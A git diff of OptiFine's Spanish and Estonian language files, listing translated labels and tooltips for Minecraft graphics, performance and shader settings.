+of.options.SWAMP_COLORS.tooltip.3= Sà - Usa colores pantanosos. (lento) +of.options.SWAMP_COLORS.tooltip.4=Esta opción afecta los colores del pasto, lianas, hojas y agua. + +of.options.SMOOTH_BIOMES=Biomas suavizados +of.options.SMOOTH_BIOMES.tooltip.1=Cambio entre biomas moderado y suavizado. +of.options.SMOOTH_BIOMES.tooltip.2= NO – Sin suavizado. (rápido) +of.options.SMOOTH_BIOMES.tooltip.3= Sà – Suavizado. (lento) +of.options.SMOOTH_BIOMES.tooltip.4=El suavizado de las fronteras de los biomas colindantes se realiza +of.options.SMOOTH_BIOMES.tooltip.5=combinando y contemplando el color de los bloques de alrededor. +of.options.SMOOTH_BIOMES.tooltip.6=Solo afecta a hojas, pastos, lianas y agua. + +of.options.CONNECTED_TEXTURES=Texturas conectadas +of.options.CONNECTED_TEXTURES.tooltip.1=Textruas conectadas. +of.options.CONNECTED_TEXTURES.tooltip.2= NO – Sin texturas conectadas. Por defecto. +of.options.CONNECTED_TEXTURES.tooltip.3= Rápido – Texturas conectadas rápidas. +of.options.CONNECTED_TEXTURES.tooltip.4= Detallada – Texturas conectadas finas. +of.options.CONNECTED_TEXTURES.tooltip.5=Es la forma en la que la textura de los bloques de cristal, +of.options.CONNECTED_TEXTURES.tooltip.6=arena, librerías, se conectan entre sí cuando son puestas +of.options.CONNECTED_TEXTURES.tooltip.7=junto a otras del mismo. Las texturas como se unen +of.options.CONNECTED_TEXTURES.tooltip.8=depende del paquete de texturas seleccionado. + +of.options.NATURAL_TEXTURES=Texturas naturales +of.options.NATURAL_TEXTURES.tooltip.1=Apariencia normal y natural de la textura. +of.options.NATURAL_TEXTURES.tooltip.2= NO – Sin texturas mejoradas. Por defecto. +of.options.NATURAL_TEXTURES.tooltip.3= Sà – Mejora la textura. +of.options.NATURAL_TEXTURES.tooltip.4=Esta opción evita que se tenga una visión repetitiva +of.options.NATURAL_TEXTURES.tooltip.5=de los bloques al juntar bloques del mismo tipo. +of.options.NATURAL_TEXTURES.tooltip.6=Usa variantes en el giro y la rotacón de la textura del +of.options.NATURAL_TEXTURES.tooltip.7=bloque. La configuración del ajuste depende del paquete +of.options.NATURAL_TEXTURES.tooltip.8=de texturas seleccionado. + +of.options.CUSTOM_SKY=Cielo personalizado +of.options.CUSTOM_SKY.tooltip.1=Cielo personalizado. +of.options.CUSTOM_SKY.tooltip.2= NO – Cielo predeterminado. (rápido) +of.options.CUSTOM_SKY.tooltip.3= Sà – Texturas del cielo personalizadas. Por defecto. (lento) +of.options.CUSTOM_SKY.tooltip.4=La textura para el cielo personalizado es obtenida del +of.options.CUSTOM_SKY.tooltip.5=paquete de texturas seleccionado. + +of.options.CUSTOM_ITEMS=Obejetos personalizados +of.options.CUSTOM_ITEMS.tooltip.1=Usa texturas para los objetos. +of.options.CUSTOM_ITEMS.tooltip.2= NO – Texturas de objetos predeterminadas. (rápido) +of.options.CUSTOM_ITEMS.tooltip.3= Sà – Texturas de objetos personalizadas. Por defecto. (lento) +of.options.CUSTOM_ITEMS.tooltip.4=Las texturas de los objetos personalizados se obtienen del +of.options.CUSTOM_ITEMS.tooltip.5=paquete de texturas seleccionado. + +# Details + +of.options.CLOUDS=Nube +of.options.CLOUDS.tooltip.1=Como se ven las nubes. +of.options.CLOUDS.tooltip.2= NO - Sin nubes. (más rápido) +of.options.CLOUDS.tooltip.3= Normal - Establecido en la configuración de calidad visual. +of.options.CLOUDS.tooltip.4= Rápida - Menor calidad. (rápido) +of.options.CLOUDS.tooltip.5= Detallada - Alta calidad. (lento) +of.options.CLOUDS.tooltip.6=Las nubes con menor calidad son renderizadas en 2D. +of.options.CLOUDS.tooltip.7=Las nubes con calidad alta son renderizadas en 3D. + +of.options.CLOUD_HEIGHT=Altitud de nube +of.options.CLOUD_HEIGHT.tooltip.1=Que tan arriba se muestran las nubes. +of.options.CLOUD_HEIGHT.tooltip.2= NO - Altitud por defecto. +of.options.CLOUD_HEIGHT.tooltip.3= 100%% - Por encima del límite de altitud. + +of.options.TREES=Ãrboles +of.options.TREES.tooltip.1=Como se ven las hojas de los árboles. +of.options.TREES.tooltip.2= Normal - Establecido en la configuración de calidad visual. +of.options.TREES.tooltip.3= Rápida - Menor calidad. (más rápido) +of.options.TREES.tooltip.4= Dinámico - Mayor calidad. +of.options.TREES.tooltip.5= Detallada - Calidad alta. (más lento) +of.options.TREES.tooltip.6=Los árboles con menor calidad tienen las hojas opacas. +of.options.TREES.tooltip.7=Los árboles con mayor calidad o dinámicos tienen hojas transparentes. + +of.options.RAIN=Nieve y lluvia +of.options.RAIN.tooltip.1=Lluvia y nieve. +of.options.RAIN.tooltip.2= NO - Sin nieve o lluvia. (más rápido) +of.options.RAIN.tooltip.3= Normal - Establecido en la configuración de calidad visual. +of.options.RAIN.tooltip.4= Rápida - Lluvia y nive ligera. (rápido) +of.options.RAIN.tooltip.5= Detallada - Lluvia y nieve pesada. (lento) +of.options.RAIN.tooltip.6=Esta opción no afecta a las salpicaduras o al ruido de la +of.options.RAIN.tooltip.7=lluvia que se siguen mostrando. + +of.options.SKY=Cielo +of.options.SKY.tooltip.1=Cielo. +of.options.SKY.tooltip.2= NO - No se ve el cielo. (rápido) +of.options.SKY.tooltip.3= Sà - Se ve el cielo. (lento) +of.options.SKY.tooltip.4=Si se desactiva, el sol y la luna aun pueden estar visibles. + +of.options.STARS=Estrellas +of.options.STARS.tooltip.1=Visibilidad de estrellas del cielo nocturno. +of.options.STARS.tooltip.2= NO - Las estrellas no son visibles. (rápido) +of.options.STARS.tooltip.3= Sà - Las estrellas son visibles. (lento) + +of.options.SUN_MOON=Sol y luna +of.options.SUN_MOON.tooltip.1=Visibilidad de la luna y del sol. +of.options.SUN_MOON.tooltip.2= NO - El sol y la luna no son visibles. (más rápido) +of.options.SUN_MOON.tooltip.3= Sà - El sol y la luna son visibles. Por defecto. + +of.options.SHOW_CAPES=Mostrar capas +of.options.SHOW_CAPES.tooltip.1=Muestra las capas en los jugadores. +of.options.SHOW_CAPES.tooltip.2= NO - No mostrar la capa de los jugadores. +of.options.SHOW_CAPES.tooltip.3= Sà - Mostrar la capa de los jugadores. Por defecto. + +of.options.TRANSLUCENT_BLOCKS=Bloque translúcido +of.options.TRANSLUCENT_BLOCKS.tooltip.1=Bloques con transparencia. +of.options.TRANSLUCENT_BLOCKS.tooltip.2= Normal - Establecido en la configuración de calidad visual. +of.options.TRANSLUCENT_BLOCKS.tooltip.3= Rápida - Mezcla de colores ligera. (rápido) +of.options.TRANSLUCENT_BLOCKS.tooltip.4= Detallada - Corrección definida de colores. (lento) +of.options.TRANSLUCENT_BLOCKS.tooltip.5=Controla el cambio de color entre bloques translúcidos (cristal +of.options.TRANSLUCENT_BLOCKS.tooltip.6=teñido, agua, hielo) cuando son puestos separados por aire. + +of.options.HELD_ITEM_TOOLTIPS=Item en mano +of.options.HELD_ITEM_TOOLTIPS.tooltip.1=Muestra información encima del hotbar al cambiar de item en mano. +of.options.HELD_ITEM_TOOLTIPS.tooltip.2= NO - No muestra información. +of.options.HELD_ITEM_TOOLTIPS.tooltip.3= Sà - Muestra información. Por defecto. + +of.options.DROPPED_ITEMS=Items caídos +of.options.DROPPED_ITEMS.tooltip.1=Afecta como se ven los items. +of.options.DROPPED_ITEMS.tooltip.2= Normal - Establecido en la configuración de calidad visual. +of.options.DROPPED_ITEMS.tooltip.3= Rápida - Los items caídos se ven en 2D. (rápido) +of.options.DROPPED_ITEMS.tooltip.4= Detallada - Los items caídos se ven en 3D. (lento) + +options.entityShadows.tooltip.1=Sombra de entidades (mobs, jugadores, etcétera). +options.entityShadows.tooltip.2= NO - No muestra sombras de entidades. +options.entityShadows.tooltip.3= Sà - Muestra sombras de entidades. + +of.options.VIGNETTE=Viñeta +of.options.VIGNETTE.tooltip.1=Efecto visual, ligeramente oscurece las esquinas en la pantalla. +of.options.VIGNETTE.tooltip.2= Normal - Establecido en la configuración de calidad visual. +of.options.VIGNETTE.tooltip.3= Rápida - Efecto desactivado. (rápido) +of.options.VIGNETTE.tooltip.4= Detallda - Efecto activado. (lento) +of.options.VIGNETTE.tooltip.5=Esta opción puede tener un impacto significativo en los FPS, +of.options.VIGNETTE.tooltip.6=especialmente cuando juega en pantalla completa. +of.options.VIGNETTE.tooltip.7=Este efecto es liviano por lo que puede ser desactivado +of.options.VIGNETTE.tooltip.8=con seguridad en cualquier momento. + +# Performance + +of.options.SMOOTH_FPS=Estabilizar FPS +of.options.SMOOTH_FPS.tooltip.1=Fija los FPS nivelando el buffer del driver de video. +of.options.SMOOTH_FPS.tooltip.2= NO - Sin estabilización. FPS cambiantes. +of.options.SMOOTH_FPS.tooltip.3= Sà - Estabilización de FPS. +of.options.SMOOTH_FPS.tooltip.4=Esta opción depende del controlador de la tarjeta de gráficos. +of.options.SMOOTH_FPS.tooltip.5=Su efecto podría no siempre ser notorio. + +of.options.SMOOTH_WORLD=Carga ágil +of.options.SMOOTH_WORLD.tooltip.1=Disminuye el lag repentino causado por el servidor interno. +of.options.SMOOTH_WORLD.tooltip.2= NO - Sin estabilización. FPS variantes. +of.options.SMOOTH_WORLD.tooltip.3= Sà - Estabiliza los FPS. +of.options.SMOOTH_WORLD.tooltip.4=Estabiliza los FPS, dividiendo la carga del servidor interno. +of.options.SMOOTH_WORLD.tooltip.5=Efectivo solo en mundos locales. + +of.options.FAST_RENDER=Renderizado rápido +of.options.FAST_RENDER.tooltip.1=Renderizado rápido. +of.options.FAST_RENDER.tooltip.2= NO - Renderizado estandard. Por defecto. +of.options.FAST_RENDER.tooltip.3= Sà - Renderizado optimizado. (rápido) +of.options.FAST_RENDER.tooltip.4=Utiliza un algoritmo de renderizado optimizado que reduce +of.options.FAST_RENDER.tooltip.5=la carga del GPU, aumentando sustancialmente los FPS. + +of.options.FAST_MATH=Matemática avanzada +of.options.FAST_MATH.tooltip.1=Matemática avanzada. +of.options.FAST_MATH.tooltip.2= NO - Matemática estandard. Por defecto. +of.options.FAST_MATH.tooltip.3= Sà - Matemática rápida. +of.options.FAST_MATH.tooltip.4=Utiliza funciones sin() y cos() optimizadas usando +of.options.FAST_MATH.tooltip.5=el cache del CPU e incrementa los FPS. + +of.options.CHUNK_UPDATES=Actualizaciones de chunks +of.options.CHUNK_UPDATES.tooltip.1=Carga de chunks del mapa por FPS (cuadros por segundo). +of.options.CHUNK_UPDATES.tooltip.2= 1 - Carga del mundo lenta. Más FPS. Por defecto. +of.options.CHUNK_UPDATES.tooltip.3= 3 - Carga del mundo rápida. Menos FPS. +of.options.CHUNK_UPDATES.tooltip.4= 5 - Carga del mundo más rápida. Menos FPS. +of.options.CHUNK_UPDATES.tooltip.5=Es el número de actualizaciones de los pedazos del mapa renderizados +of.options.CHUNK_UPDATES.tooltip.6=por FPS, valores muy altos pueden desestabilizar los FPS. + +of.options.CHUNK_UPDATES_DYNAMIC=Actualizaciones dinámicas +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.1=Actualizaciones dinámicas de chunks. +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.2= NO - Actualizaciones de chunks por FPS estandar. Por defecto. +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.3= Sà - Actualizaciones incluso cuando el jugador no se mueve. +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.4=Esta opción facilita actualizaciones de chunks incluso mientras el +of.options.CHUNK_UPDATES_DYNAMIC.tooltip.5=jugador no se mueve, para cargar el mundo mucho más rápido. + +of.options.LAZY_CHUNK_LOADING=Carga retardada +of.options.LAZY_CHUNK_LOADING.tooltip.1=Carga de los pedazos del mapa con retardo. +of.options.LAZY_CHUNK_LOADING.tooltip.2= NO - Carga de chunks determinada por el servidor. +of.options.LAZY_CHUNK_LOADING.tooltip.3= Sà - Carga de chunks lenta. Más atractiva. +of.options.LAZY_CHUNK_LOADING.tooltip.4=Retraza en varios ticks la carga de chunks integrada por el +of.options.LAZY_CHUNK_LOADING.tooltip.5=servidor. +of.options.LAZY_CHUNK_LOADING.tooltip.6=Desactiva esta opción si el mapa no se carga correctamente. +of.options.LAZY_CHUNK_LOADING.tooltip.7=Efectivo solo en mundos locales y con procesadores de 1 solo núcleo. + +# Animations + +of.options.animation.allOn=Activar todo +of.options.animation.allOff=Desactivar todo +of.options.animation.dynamic=Dinámico + +of.options.ANIMATED_WATER=Animación de agua +of.options.ANIMATED_LAVA=Animación de lava +of.options.ANIMATED_FIRE=Animación de fuego +of.options.ANIMATED_PORTAL=Animación del portal +of.options.ANIMATED_REDSTONE=Animación del redstone +of.options.ANIMATED_EXPLOSION=Animación de explosiones +of.options.ANIMATED_FLAME=Animación de fuego +of.options.ANIMATED_SMOKE=Animación de humo +of.options.VOID_PARTICLES=Partículas del Fin +of.options.WATER_PARTICLES=Partículas de agua +of.options.RAIN_SPLASH=Salpicadura de lluvia +of.options.PORTAL_PARTICLES=Partículas de portal +of.options.POTION_PARTICLES=Partículas de pociones +of.options.DRIPPING_WATER_LAVA=Goteo de agua y lava +of.options.ANIMATED_TERRAIN=Animación del terreno +of.options.ANIMATED_TEXTURES=Animación de texturas +of.options.FIREWORK_PARTICLES=Partículas de cohetes + +# Other + +of.options.LAGOMETER=Medidor de lag +of.options.LAGOMETER.tooltip.1=Muestra una gráfica en la pantalla de depuración (F3). +of.options.LAGOMETER.tooltip.2=* Naranja - Memoria desperdiciada. +of.options.LAGOMETER.tooltip.3=* Cian - Tick. +of.options.LAGOMETER.tooltip.4=* Azul - Tareas programadas. +of.options.LAGOMETER.tooltip.5=* Purpura - Carga de chunks. +of.options.LAGOMETER.tooltip.6=* Rojo - Actualizaciones de chunks. +of.options.LAGOMETER.tooltip.7=* Amarillo - Visibilidad. +of.options.LAGOMETER.tooltip.8=* Verde - Terreno de renderizado. + +of.options.PROFILER=Debug +of.options.PROFILER.tooltip.1=Perfil de debug. +of.options.PROFILER.tooltip.2= NO - Debug desactivado. (rápido) +of.options.PROFILER.tooltip.3= Sà - Debug activado. (lento) +of.options.PROFILER.tooltip.4=Recopila información de debug y la muestra en +of.options.PROFILER.tooltip.5=la pantalla de dupuración (F3). + +of.options.WEATHER=Clima +of.options.WEATHER.tooltip.1=Clima. +of.options.WEATHER.tooltip.2= NO - Desactiva el clima. (rápido) +of.options.WEATHER.tooltip.3= Sà - Activa el clima. (lento) +of.options.WEATHER.tooltip.4=Esta opción afecta a las lluvias, la nieve y las tormentas. +of.options.WEATHER.tooltip.5=Solo funciona en mundos locales. + +of.options.time.dayOnly=Día +of.options.time.nightOnly=Noche + +of.options.TIME=Tiempo +of.options.TIME.tooltip.1=Establece el momento del día. +of.options.TIME.tooltip.2= Normal - Ciclo de dia y noche normal. +of.options.TIME.tooltip.3= Día - Siempre es de día. +of.options.TIME.tooltip.4= Noche - Siempre es de noche. +of.options.TIME.tooltip.5=Esta opción solo es efectiva estando en modo creativo +of.options.TIME.tooltip.6=y en mundos locales. + +options.fullscreen.tooltip.1=Pantalla completa. +options.fullscreen.tooltip.2= NO - Modo de ventana. +options.fullscreen.tooltip.3= Sà - Modo de pantalla completa. +options.fullscreen.tooltip.4=En pantalla completa funciona más rapido que en modo +options.fullscreen.tooltip.5=de ventana, dependiendo de la tarjeta de video. + +of.options.FULLSCREEN_MODE=Resolución +of.options.FULLSCREEN_MODE.tooltip.1=Dimensiones al entrar en modo pantalla completa. +of.options.FULLSCREEN_MODE.tooltip.2= Default - Se ajusta a la pantalla. (lento) +of.options.FULLSCREEN_MODE.tooltip.3= Ancho por Altura - Utiliza la resolución personalizada. +of.options.FULLSCREEN_MODE.tooltip.4=La resoulución de pantalla seleccionada es usada al entrar en pantalla +of.options.FULLSCREEN_MODE.tooltip.5=completa. Resouluciónes pequeñas generalmente son más rápidas. + +of.options.SHOW_FPS=Medidor de FPS +of.options.SHOW_FPS.tooltip.1=Despliega los FPS, además de otra información, resumida. +of.options.SHOW_FPS.tooltip.2= C: - Renderizado de chunks. +of.options.SHOW_FPS.tooltip.3= E: - Entidades y de bloques renderizadas. +of.options.SHOW_FPS.tooltip.4= U: - Actualizaciones de chunks. +of.options.SHOW_FPS.tooltip.5=La información solo se muestra cuando la pantalla +of.options.SHOW_FPS.tooltip.6=de depuración (F3) no es visible. + +of.options.save.default=Predeterminado (2s) +of.options.save.20s=20 s +of.options.save.3min=3 min +of.options.save.30min=30 min + +of.options.AUTOSAVE_TICKS=Autoguardado +of.options.AUTOSAVE_TICKS.tooltip.1=Intervalo de autoguardado de mundos locales. +of.options.AUTOSAVE_TICKS.tooltip.2= Predeterminado - Intervalo por defecto. NO RECOMENDADO. +of.options.AUTOSAVE_TICKS.tooltip.3=Esta función causa el famoso lag de la muerte. + +options.anaglyph.tooltip.1=La función de anaglifo 3D requiere de lentes 3D rojo-azul. diff --git a/src/assets/minecraft/optifine/lang/et_ee.lang b/src/assets/minecraft/optifine/lang/et_ee.lang new file mode 100644 index 00000000..6bb289db --- /dev/null +++ b/src/assets/minecraft/optifine/lang/et_ee.lang @@ -0,0 +1,763 @@ +# General +of.general.ambiguous=ebamäärane +of.general.compact=kompaktne +of.general.custom=Kohandatud +of.general.from=Kohast +of.general.id=ID +of.general.max=maksimaalne +of.general.restart=taaskäivita +of.general.smart=tark + +# Keys +of.key.zoom=Suum + +# Message +of.message.aa.shaders1=Sakisilumine ei ühildu varjutajatega. +of.message.aa.shaders2=Palun keela varjutajad selle valiku lubamiseks. + +of.message.af.shaders1=Anisotroopiline filtreerimine ei ühildu varjutajatega. +of.message.af.shaders2=Palun keela varjutajad selle valiku lubamiseks. + +of.message.fr.shaders1=Kiire renderdus ei ühildu varjutajatega. +of.message.fr.shaders2=Palun keela varjutajad selle valiku lubamiseks. + +of.message.an.shaders1=3D-anaglüüf ei ühildu varjutajatega. +of.message.an.shaders2=Palun keela varjutajad selle valiku lubamiseks. + +of.message.shaders.aa1=Varjutajad ei ühildu sakisilumisega. +of.message.shaders.aa2=Palun lülita Kvaliteet -> Sakisilumine VÄLJA ja taaskäivita mäng. + +of.message.shaders.af1=Varjutajad ei ühildu anisotroopilise filtreerimisega. +of.message.shaders.af2=Palun lülita Kvaliteet -> Anisotroopiline filtr. VÄLJA. + +of.message.shaders.fr1=Varjutajad ei ühildu kiire renderdusega. +of.message.shaders.fr2=Palun lülita Jõudlus -> Kiire renderdus VÄLJA. + +of.message.shaders.an1=Varjutajad ei ühildu 3D-anaglüüfiga. +of.message.shaders.an2=Palun lülita Muu -> 3D-anaglüüf VÄLJA. + +of.message.shaders.nv1=See varjutajapakk vajab uuemat OptiFine'i versiooni: %s +of.message.shaders.nv2=Kas soovid kindlasti jätkata? + +of.message.newVersion=Uus §eOptiFine§f'i versioon on saadaval: §e%s§f +of.message.java64Bit=Sa võid jõudluse parandamiseks paigaldada §e64-bitise Java§f. +of.message.openglError=§eOpenGL'i viga§f: %s (%s) + +of.message.shaders.loading=Varjutajate laadimine: %s + +of.message.other.reset=Lähtestad kõik graafikaseaded vaikimisi väärtustele? + +of.message.loadingVisibleChunks=Laadin nähtavaid kamakaid + +# Skin customization + +of.options.skinCustomisation.ofCape=OptiFine'i keep... + +of.options.capeOF.title=OptiFine'i keep +of.options.capeOF.openEditor=Ava keebimuutja +of.options.capeOF.reloadCape=Laadi keep uuesti +of.options.capeOF.copyEditorLink=Kopeeri link lõikelauale + +of.message.capeOF.openEditor=OptiFine'i keebimuutja peaks veebibrauseris avanema. +of.message.capeOF.openEditorError=Keebimuutja lingi avamisel brauseris esines viga. +of.message.capeOF.reloadCape=Keep laaditakse uuesti 15 sekundi pärast. + +of.message.capeOF.error1=Mojangiga autentimine ebaõnnestus. +of.message.capeOF.error2=Viga: %s + +# Video settings + +options.graphics.tooltip.1=Visuaalne kvaliteet +options.graphics.tooltip.2= Kiire - madalam kvaliteet, kiirem +options.graphics.tooltip.3= Uhke - kõrgem kvaliteet, aeglasem +options.graphics.tooltip.4=Muudab pilvede, lehtede, vee, varjude ja muru külgede +options.graphics.tooltip.5=välimust. + +of.options.renderDistance.tiny=pisike +of.options.renderDistance.short=lühike +of.options.renderDistance.normal=tavaline +of.options.renderDistance.far=kauge +of.options.renderDistance.extreme=ekstreemne +of.options.renderDistance.insane=hullumeelne +of.options.renderDistance.ludicrous=naeruväärne + +options.renderDistance.tooltip.1=Nähtav kaugus +options.renderDistance.tooltip.2= 2 pisike - 32m (kiireim) +options.renderDistance.tooltip.3= 8 tavaline - 128m (tavaline) +options.renderDistance.tooltip.4= 16 kauge - 256m (aeglasem) +options.renderDistance.tooltip.5= 32 ekstreemne - 512m (aeglaseim!) väga ressursinõudlik +options.renderDistance.tooltip.6= 48 hullumeelne - 768m, vajab 2 GB RAMi allutamist +options.renderDistance.tooltip.7= 64 naeruväärne - 1024m, vajab 3 GB RAMi allutamist +options.renderDistance.tooltip.8=Väärtused üle "16 kauge" toimivad ainult kohalikes maailmades. + +options.ao.tooltip.1=Sujuv valgustus +options.ao.tooltip.2= VÄLJAS - sujuv valgustus puudub (kiirem) +options.ao.tooltip.3= Minimaalne - lihtne sujuv valgustus (aeglasem) +options.ao.tooltip.4= Maksimaalne - keeruline sujuv valgustus (aeglaseim) + +options.framerateLimit.tooltip.1=Maksimaalne kaadrisagedus +options.framerateLimit.tooltip.2= VSync - piira kuvari kaadrisagedusele (60, 30, 20) +options.framerateLimit.tooltip.3= 5-255 - muutuja +options.framerateLimit.tooltip.4= Piiramatu - piirang puudub (kiireim) +options.framerateLimit.tooltip.5=Kaadrisageduse piirang alandab kaadrisagedust ka siis, +options.framerateLimit.tooltip.6=kui piirväärtuseni pole jõutud. +of.options.framerateLimit.vsync=VSync + +of.options.AO_LEVEL=Sujuva valgustuse tase +of.options.AO_LEVEL.tooltip.1=Sujuva valgustuse tase +of.options.AO_LEVEL.tooltip.2= VÄLJAS - varjud puuduvad +of.options.AO_LEVEL.tooltip.3= 50%% - heledad varjud +of.options.AO_LEVEL.tooltip.4= 100%% - tumedad varjud + +options.viewBobbing.tooltip.1=Realistlikum liikumine. +options.viewBobbing.tooltip.2=Mipmappimist kasutades lülita see VÄLJA parimate tulemuste +options.viewBobbing.tooltip.3=saavutamiseks. +# Added extra row to tooltip + +options.guiScale.tooltip.1=Kasutajaliidese suurus +options.guiScale.tooltip.2= automaatne - maksimaalsuurus +options.guiScale.tooltip.3= väike, keskmine, suur - 1x kuni 3x +options.guiScale.tooltip.4= 4x kuni 10x - saadaval 4K ekraanidel +options.guiScale.tooltip.5=Paaritud arvud (1x, 3x, 5x, ...) ei ühildu Unicode'iga. +options.guiScale.tooltip.6=Väiksem kasutajaliides võib olla kiirem. + +options.vbo=VBO'd +options.vbo.tooltip.1=Vertex Buffer Objects +options.vbo.tooltip.2=Kasutab alternatiivset renderdusmudelit, mis on tavaliselt +options.vbo.tooltip.3=vaikimisi renderdusest kiirem (5-10%%). + +options.gamma.tooltip.1=Muudab tumedamate objektide heledust. +options.gamma.tooltip.2= Tujukas - standardne heledus +options.gamma.tooltip.3= 1-99%% - muutuja +options.gamma.tooltip.4= Hele - maksimaalne heledus tumedamatele objektidele +options.gamma.tooltip.5=See valik ei muuda täiesti mustade objektide heledust. +options.gamma.tooltip.6= + +options.anaglyph.tooltip.1=3D-anaglüüf +options.anaglyph.tooltip.2=Lubab stereoskoopilise 3D-efekti, kasutades erinevaid +options.anaglyph.tooltip.3=värve eri silmadel. +options.anaglyph.tooltip.4=Vajab punasiniseid prille korralikuks vaatamiseks. + +options.attackIndicator.tooltip.1=Seadistab ründeindikaatori asukohta +options.attackIndicator.tooltip.2= Sihtimisristil - sihtimisristi all +options.attackIndicator.tooltip.3= Plokiribal - plokiriba kõrval +options.attackIndicator.tooltip.4= VÄLJAS - ründeindikaator puudub +options.attackIndicator.tooltip.5=Ründeindikaator kuvab käesoleva eseme ründevõimsust +options.attackIndicator.tooltip.6= + +of.options.ALTERNATE_BLOCKS=Alternatiivsed plokid +of.options.ALTERNATE_BLOCKS.tooltip.1=Alternatiivsed plokid +of.options.ALTERNATE_BLOCKS.tooltip.2=Kasutab alternatiivseid plokimudeleid teatud plokkidel. +of.options.ALTERNATE_BLOCKS.tooltip.3=Sõltub valitud ressursipakist. + +of.options.FOG_FANCY=Udu +of.options.FOG_FANCY.tooltip.1=Udu tüüp +of.options.FOG_FANCY.tooltip.2= Kiire - kiirem udu +of.options.FOG_FANCY.tooltip.3= Uhke - aeglasem udu, näeb parem välja +of.options.FOG_FANCY.tooltip.4= VÄLJAS - udu puudub, kiireim +of.options.FOG_FANCY.tooltip.5=Uhke udu on saadaval vaid siis, kui see on toetatud +of.options.FOG_FANCY.tooltip.6=graafikakaardi poolt. + +of.options.FOG_START=Udu algus +of.options.FOG_START.tooltip.1=Udu algus +of.options.FOG_START.tooltip.2= 0.2 - udu algab mängija lähedalt +of.options.FOG_START.tooltip.3= 0.8 - udu algab mängijast kaugel +of.options.FOG_START.tooltip.4=See valik ei mõjuta tavaliselt jõudlust. + +of.options.CHUNK_LOADING=Kamakate laadimine +of.options.CHUNK_LOADING.tooltip.1=Kamakate laadimine +of.options.CHUNK_LOADING.tooltip.2= Vaikimisi - ebastabiilne kaadrisagedus kamakate laadimisel +of.options.CHUNK_LOADING.tooltip.3= Sujuv - stabiilne kaadrisagedus +of.options.CHUNK_LOADING.tooltip.4= Mitme tuumaga - stabiilne kaadrisagedus, 3x kiirem maailma laadimine +of.options.CHUNK_LOADING.tooltip.5=Sujuv ja mitme tuumaga eemaldavad kamakate laadimiselt +of.options.CHUNK_LOADING.tooltip.6=hakkimise ja külmumise. +of.options.CHUNK_LOADING.tooltip.7=Mitme tuuma režiim võib kiirendada maailma laadimist kuni 3x +of.options.CHUNK_LOADING.tooltip.8=ja suurendada kaadrisagedust, kasutades teist protsessori tuuma. +of.options.chunkLoading.smooth=sujuv +of.options.chunkLoading.multiCore=mitme tuumaga + +of.options.shaders=Varjutajad... +of.options.shadersTitle=Varjutajad + +of.options.shaders.packNone=VÄLJAS +of.options.shaders.packDefault=(sisemised) + +of.options.shaders.ANTIALIASING=Sakisilumine +of.options.shaders.ANTIALIASING.tooltip.1=Sakisilumine (anti-aliasing) +of.options.shaders.ANTIALIASING.tooltip.2= VÄLJAS - (vaikimisi) sakisilumine puudub (kiirem) +of.options.shaders.ANTIALIASING.tooltip.3= FXAA 2x, 4x - silutud jooned ja ääred (aeglasem) +of.options.shaders.ANTIALIASING.tooltip.4=FXAA on järeltöötluse efekt, mis silub +of.options.shaders.ANTIALIASING.tooltip.5=sakilised jooned ja teravad värviüleminekud. +of.options.shaders.ANTIALIASING.tooltip.6=See on traditsioonilisest sakisilumisest kiirem +of.options.shaders.ANTIALIASING.tooltip.7=ning ühildub nii varjutajate kui ka kiire renderdusega. + +of.options.shaders.NORMAL_MAP=Tavaline kaart +of.options.shaders.NORMAL_MAP.tooltip.1=Tavaline kaart +of.options.shaders.NORMAL_MAP.tooltip.2= SEES - (vaikimisi) luba tavalised kaardid +of.options.shaders.NORMAL_MAP.tooltip.3= VÄLJAS - keela tavalised kaardid +of.options.shaders.NORMAL_MAP.tooltip.4=Tavalisi kaarte saab varjutajatepakk kasutada, +of.options.shaders.NORMAL_MAP.tooltip.5=simuleerimaks 3D geomeetriat siledatel mudelipindadel. +of.options.shaders.NORMAL_MAP.tooltip.6=Tavalise kaardi tekstuure pakub kasutatav ressursipakk. +of.options.shaders.NORMAL_MAP.tooltip.7= + +of.options.shaders.SPECULAR_MAP=Peegelduv kaart +of.options.shaders.SPECULAR_MAP.tooltip.1=Peegelduv kaart +of.options.shaders.SPECULAR_MAP.tooltip.2= SEES - (vaikimisi) luba peegelduvad kaardid +of.options.shaders.SPECULAR_MAP.tooltip.3= VÄLJAS - keela peegelduvad kaardid +of.options.shaders.SPECULAR_MAP.tooltip.4=Peegelduvaid kaarte saab varjutajatepakk kasutada, +of.options.shaders.SPECULAR_MAP.tooltip.5=simuleerimaks erilisi peegeldusefekte. +of.options.shaders.SPECULAR_MAP.tooltip.6=Peegelduva kaardi tekstuure pakub kasutatav ressursipakk. +of.options.shaders.SPECULAR_MAP.tooltip.7= + +of.options.shaders.RENDER_RES_MUL=Renderduskvaliteet +of.options.shaders.RENDER_RES_MUL.tooltip.1=Renderduskvaliteet +of.options.shaders.RENDER_RES_MUL.tooltip.2= 0.5x - madal (kiireim) +of.options.shaders.RENDER_RES_MUL.tooltip.3= 1x - standard (vaikimisi) +of.options.shaders.RENDER_RES_MUL.tooltip.4= 2x - kõrge (aeglaseim) +of.options.shaders.RENDER_RES_MUL.tooltip.5=Renderduskvaliteet juhib varjutajatepaki renderdavate +of.options.shaders.RENDER_RES_MUL.tooltip.6=tekstuuride suurust. +of.options.shaders.RENDER_RES_MUL.tooltip.7=Madalamad väärtused on kasulikud 4K ekraanidel. +of.options.shaders.RENDER_RES_MUL.tooltip.8=Kõrgemad väärtused töötavad sakisilumise filtrina. + +of.options.shaders.SHADOW_RES_MUL=Varjukvaliteet +of.options.shaders.SHADOW_RES_MUL.tooltip.1=Varjukvaliteet +of.options.shaders.SHADOW_RES_MUL.tooltip.2= 0.5x - madal (kiireim) +of.options.shaders.SHADOW_RES_MUL.tooltip.3= 1x - standard (vaikimisi) +of.options.shaders.SHADOW_RES_MUL.tooltip.4= 2x - kõrge (aeglaseim) +of.options.shaders.SHADOW_RES_MUL.tooltip.5=Varjukvaliteet juhib varjutajatepaki varjukaardi +of.options.shaders.SHADOW_RES_MUL.tooltip.6=tekstuuri suurust. +of.options.shaders.SHADOW_RES_MUL.tooltip.7=Madalamad väärtused = ebatäpsed, karedad varjud. +of.options.shaders.SHADOW_RES_MUL.tooltip.8=Kõrgemad väärtused = detailsed, peenemad varjud. + +of.options.shaders.HAND_DEPTH_MUL=Käesügavus 